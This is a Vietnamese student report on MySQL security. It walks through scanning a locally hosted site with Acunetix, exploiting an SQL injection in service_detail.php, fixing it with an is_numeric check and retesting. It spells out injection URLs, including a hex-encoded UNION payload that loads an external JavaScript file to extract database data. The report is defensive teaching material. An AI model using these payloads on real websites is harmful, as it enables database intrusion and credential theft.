Tải bản đầy đủ (.docx) (13 trang)

Tiểu luận môn học an ninh mạng mySQL Security

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (807.11 KB, 13 trang )

NỘI DUNG
mySQL Security
GVHD: Nguyễn Duy
Nhóm 19
SV1: Nguyễn Mạnh Tuấn - 08520439
SV2: Nguyễn Hữu Tú - 08520452
SV3: Trần Quang Vũ - 08520479
SV4: Lưu Xuân Khoa – 08520498
MMT03/UIT
I. Lý thuyết
mySQL là hệ cơ sở dữ liệu mở phổ biến nhất hiện nay. Việc bảo mật cho nó là một vấn đề cần
quan tâm đối với các nhà viết ứng dụng web. Tuy nhiên, vì các hệ cơ sở dữ liệu đều phục vụ cho
các ứng dụng, nên để bảo mật nó, quan trọng nhất là phải bảo mật ứng dụng thao tác thông tin
trên nó.
Trong các loại hình tấn công hướng đến database, SQL Injection là kiểu tấn công nguy hiểm
nhất. SQL Injection lợi dụng sơ hở trong các ứng dụng web để chèn các truy vấn không hợp lệ,
qua đó khai thác, hoặc thậm chí có thể thay đổi hoặc hủy thông tin trong database. Loại tấn công
này rất đa dạng và hầu hết các ứng dụng web đều mắc phải. Giống như các cách tấn công ứng
dụng web khác, SQL injection có thể vượt qua tường lửa, SSL, các lock-down server một cách
dễ dàng.
Trước đây, các lập trình viên phát triển ứng dụng web đều dựa vào kinh nghiệm bản thân để
kiểm soát các lỗi. Vì vậy, các lập trình viên mới vào nghề thường gặp nhiều “tai nạn” hơn. Tuy
nhiên, các nhà lập trình viên lâu năm vẫn có thể phạm phải sơ suất.
Từ thực tế trên, nhiều chương trình đã được phát triển để kiểm tra các ứng dụng web này. Một số
ứng dụng nổi tiếng trong lĩnh vực này là Microsoft Source Code Analyzer, Microsoft URLScan,
dotDefender, IBM Appscan, Acunetix Web Vulnerability Scanner, …
Trong bài báo cáo này, nhóm 19 chọn Acunetix Web Vulnerability Scanner để demo về việc sử
dụng tool rà soát lỗi trong các ứng dụng. Ứng dụng này có thể download từ trang chủ của nó là
. Chương trình này có giá là $375. Trong bài sử
dụng bản trial. Chương trình có giao diện khá thân thiện.
Các chức năng chính Acunetix Web Vulnerability Scanner


[1]
:
• Công nghệ AcuSensor.
• Tự động phân tích lỗi, đánh giá độ bảo mật của các ứng dụng Web 2.0 và Ajax.
• Khả năng quét sâu các lỗi SQL Injection và Cross Site Cripting.
• Hỗ trợ macro giúp cho việc kiểm tra các web form và các vùng password được bảo vệ dễ
dàng.
• Hỗ trợ các trang có CAPTCHA, các cơ chế chứng thực single sign-on và two factor.
• Quét đa luồng, tốc độ nhanh, có thể quét hàng trăn ngàn trang dễ dàng.
• Các crawler thông minh có thể xác định loại web server và ngôn ngữ ứng dụng.
• Quét và phân tích được các trang web có chưa flash, SOAP và AJAX.
MMT03/UIT 2
• Quét port web server và thực hiện nhiều kiểm tra bảo mật các dịch vụ mạng đang chạy
trên server.
II. Mô hình triển khai
Acunetix Web Vulnerability Scanner có thể được sử dụng để scan ứng dụng web đang phát triển
(local), hoặc các ứng dụng web đã chạy trên server.
Trong bài báo cáo này, nhóm 19 sẽ chạy quét lỗi source code của trang
chạy trên localhost.
III. Triển khai ứng dụng
1. Các bước thực hiện
Các bước thực hiện:
• Cài đặt chương trình.
• Thực hiện quét lỗi.
• Phân tích lỗi. Chọn một lỗi và tấn công thử.
• Sửa lỗi.
• Tấn công lại.
2. Triển khai
Bước 1: Cài đặt chương trình
Tải bản trial của chương trình tại />Cài đặt như một ứng dụng bình thường, không cần phải cấu hình gì cả.

Giao diện của chương trình như sau:
MMT03/UIT 3
Bước 2: Thực hiện quét lỗi
Vào New Scan và nhập địa chỉ website cần quét rồi chọn Next.
Phần Options sẽ có các tùy chọn.
• Scanning profile: Lựa chọn loại lỗi bảo mật nào muốn kiểm tra.
• Scanning setting: Mặc định theo cấu hình phần mềm là default. Nếu muồn thay đổi cấu
hình scan ta có thể vào custommize để điều chỉnh.
• Bên dưới là các tùy chọn thêm khi cần, ở đây ta chỉ nên để mặc định và sau đó chọn
Next.
MMT03/UIT 4
Chương trình sẽ scan sơ bộ website và hiện ra những thông tin về website như nó đang sử dụng
hệ điều hành nào, server chạy apache phiên bản bao nhiêu, ngôn nữ lập trình nào được sử dụng,
….
Ta chỉ cần xem qua các thông tin cơ bản rồi chọn Next.
MMT03/UIT 5
Chúng ta chỉ cấu hình Login Sequence khi nào chúng tao muốn chương trình quét lỗi đến những
nơi có yêu cầu chứng thực trên website.
Ở đây website chúng ta chỉ có trang admin là cần phải login chứng thực nên chúng ta không cần
phải cấu hình cho nó vì chúng ta chỉ quét các lỗi ở nơi mà người dùng có thể tương tác được.
Chúng ta chọn Next và Finish.
MMT03/UIT 6
Sau khi bấm Finish, chương trình sẽ bắt đầu quét lỗi cho website. Quá trình này nhanh hay chậm
tùy thuộc vào tốc độ đường truyền internet và độ phức tạp của website.
Bước 3: Phân tích lỗi. Chọn một lỗi và tấn công thử
Khi đã scan xong, bên trái là danh sách các kết quả san được, những lỗi nào có màu đỏ cho thấy
đây là những lỗi nguy hiểm.
MMT03/UIT 7
Ta sẽ chọn một lỗi màu đỏ bất kỳ , ở đây ta chọn lỗi sql injection
Nhấp vào lỗi này và nhìn sang bên phải ta sẽ thấy mô tả chi tiết về nó.

Như hình dưới, phần trên là mô tả về lỗ hổng sql injection, phân dưới là nơi xảy ra lỗi cụ thể ở
đây là địa chỉ: al/gui/webroot/service_detail.php
MMT03/UIT 8
Phần Attack detail cũng đã chỉ rõ rằng nếu ta thêm một biến tên là id thông qua phương thức
GET vào và cho nó giá trị là 1”” thì sẽ sảy ra lỗi và hacker có thể lợi dụng lỗi để sử dụng những
câu truy vấn trái phép để khai thác những thông tin nhạy cảm từ database.
Tiếp tục kéo xuống phần “Detailed information” đây là phần mô tả chi tiết về lỗi mà chúng ta
gặp ở đây là lỗi Sql injection và hướng dẫn cách khắc phục lỗi.
MMT03/UIT 9
Theo mô tả thì cách khắc phục lỗi chủ yếu là ta phải lọc giá trị được truyền vào từ phía người
dùng, cụ thể là biến id.
Tấn công thử:
Ta có thể tiền hành khaii thác lỗi này bằng cách truyền vào các câu truy vấn trái phép
Câu truy vấn “ al/GUI/webroot/service_detail.php?id=-1 Union All Select
1,2,3,4,5,6 “ cho cho ta thấy dữ liệu được lấy ra từ cột thứ mấy trong table, ở đây là cột 4,5 và
6.
Thông qua các cột này ta có thể tiếp tục truy vấn để trang web hiện cho ta những thông tin nhay
cảm.
MMT03/UIT 10
Ta tiếp tục thực hiện một câu truy vấn trái phép nữa.
Câu truy vấn “al/GUI/webroot/service_detail.php?id=-1 Union All
Select1,2,3,concat((0x3c736372697074207372633d22687474703a2f2f756e732e766e2f73716c6
92e6a73223e3c2f7363726970743e))tuan,5,6—“ sẽ gọi một file javascript từ bên ngoài về và
thay ta thực hiện các câu truy vấn để lấy thông tin về database mà ta đang sử dụng. Và nếu
hacker có thể khai thác thông qua lỗi này thì chúng có thể dễ dàng lấy được username và
password cũng như các thông tin nhạy cảm khác trong database của chúng ta.
Bước 4: Khắc phục lỗi
Ta vào thư mục “service_detail.php” và view source tìm đến dòng sử lý biền “id”.
MMT03/UIT 11
Dòng lệnh “$id = isset($_GET[‘id’]) ? $_GET[‘id’] : 0;” có nghĩa nếu như tồn tại giá trị id

truyền vào thì sẽ gann1 giá trị đó cho biền ”$id” nếu không tồn tại thì sẽ gán cho $_GET[‘id’]
giá trị là 0 và sau đó gán cho biến $id.
Ta thấy giá trị id được lấy thông qua phương thức GET không được kiểm tra xem có hợp lệ hay
không mà được sử dụng trực tiếp để truyền vào câu truy vấn. Điều này vô cùng nguy hiểm vì nếu
giá trị id được truyền vào không phải là 1 số mà là 1 câu truy vấn trài phép thì hacker có thể dễ
dàng lấy được những thông tin nhạy cảm của ta vì dụ như username và password để đăng nhập
vào trang quản lý.
Để khắc phục lỗi này, ta sẽ truyền vào một hàm kiểm tra cho id.
Hàm “is_numeric” chỉ chấp nhận những giá trị id là số các trường hợp còn lại đều không chấp
nhận.
Ta save lại, sau đó vào chương trình và chọn “Retest alert(s)” ở mục “Attack detail” để tiền
hành kiểm tra lại lỗi.
Ta thấy lỗi “SQL Injection” đã bị gạch bỏ, điều này có nghĩa lỗi này đã được khắc phục. Ở đây
ta thấy 2 lỗi “Blind SQL Injection” và “Cross Site Scripting” cũng bị gạch bỏ là vì nơi để khai
thác 2 lỗi này và nơi khai thác lỗi “SQL Injection” là cũng một nơi nên khi ta khắc phục lỗi
“SQL Injection” ta cũng đã vô tình khắc phục luôn 2 lỗi này.
Tương tự với các lỗi khác
Bước 5: Tấn công lại
Sau khi fix lỗi ta tiến hành tấn công với câu truy vấn tương tự ta được :
MMT03/UIT 12
Website trả về trang mặc định do dữ liệu truyền vào biến id không phải là là số.
Như vậy, chúng ta đã khắc phục lỗi thành công. Cứ thế từ từ khắc phục hết các lỗi khác.
IV. Nhận xét
1. Ưu điểm
• Giao diện thân thiện.
• Giải thích lỗi rõ ràng.
• Có hướng dẫn cách khắc phục,…
2. Khuyết điểm
• Phí khá đắt.
• Vẫn còn nhiều lỗi chưa tìm thấy.

V. Tài liệu tham khảo
[1] Acunetix Web Vulnerability Scanner, Acunetix, />scanner/, tham khảo ngày 24 tháng 4 năm 2012.
MMT03/UIT 13

×